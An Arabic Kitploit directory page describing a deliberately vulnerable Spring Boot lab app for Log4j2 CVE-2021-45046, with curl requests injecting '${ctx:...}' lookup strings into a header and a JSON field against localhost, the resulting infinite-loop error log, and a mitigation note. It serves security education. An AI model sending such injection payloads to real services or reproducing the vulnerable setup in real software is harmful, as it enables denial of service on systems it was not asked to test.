Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
log4j2-CVE-2021-45046 — تطبيق ويب نموذجي مكتوب بإطار Spring Boot معرض لثغرة Log4j2 CVE-2021-45046، يوضح حقن JNDI واستغلال الحلقة اللانهائية لأغراض اختبار الأمان التعليمي. | Kitploit
أدوات/GitHubGitHub/pravin-pp/log4j2-cve-2021-45046
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليممختبرات وتدريب عملي
GitHubpravin-pp/log4j2-cve-2021-45046

log4j2-CVE-2021-45046

تطبيق ويب نموذجي مكتوب بإطار Spring Boot معرض لثغرة Log4j2 CVE-2021-45046، يوضح حقن JNDI واستغلال الحلقة اللانهائية لأغراض اختبار الأمان التعليمي.

عرض المستودع
منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تطبيق Log4j2 عينة قابل للاختراق (CVE-2021-45046)

الإصدارات المتأثرة: جميع الإصدارات من 2.0-beta9 إلى 2.15.0

يعتمد هذا التطبيق على تطبيق ويب Spring Boot قابل للاختراق بواسطة CVE-2021-45046

يستخدم Log4j 2.14.1 (عبر spring-boot-starter-log4j2 2.6.1).

تشغيل التطبيق

قم بتشغيله:

root@kitploit:~
Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

خطوات الاستغلال

  • ثم، قم بتشغيل الثغرة باستخدام:
root@kitploit:~
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${ctx:apiVersion}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${ctx:clientRef}"
}'
  • لاحظ الإخراج الذي يظهر حلقة لانهائية، ولكن أثناء الاختبار لم نجد أن هجوم رفض الخدمة (DOS) هذا يستهلك الموارد لأن هذه الحلقة اللانهائية تم تحديدها من قبل البرنامج وتؤدي إلى خطأ:
root@kitploit:~

${ctx:clientRef}2021-12-15 19:27:50,212 http-nio-8080-exec-1 ERROR An exception occurred processing Appender LogToConsole java.lang.IllegalStateException: Infinite loop in property interpolation of  ${ctx:clientRef}: ctx:clientRef
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	

التخفيف :

  • يعمل Log4j 2.16.0 على إصلاح هذه المشكلة عن طريق إزالة دعم أنماط البحث عن الرسائل وتعطيل وظيفة JNDI بشكل افتراضي
تنزيل الأداة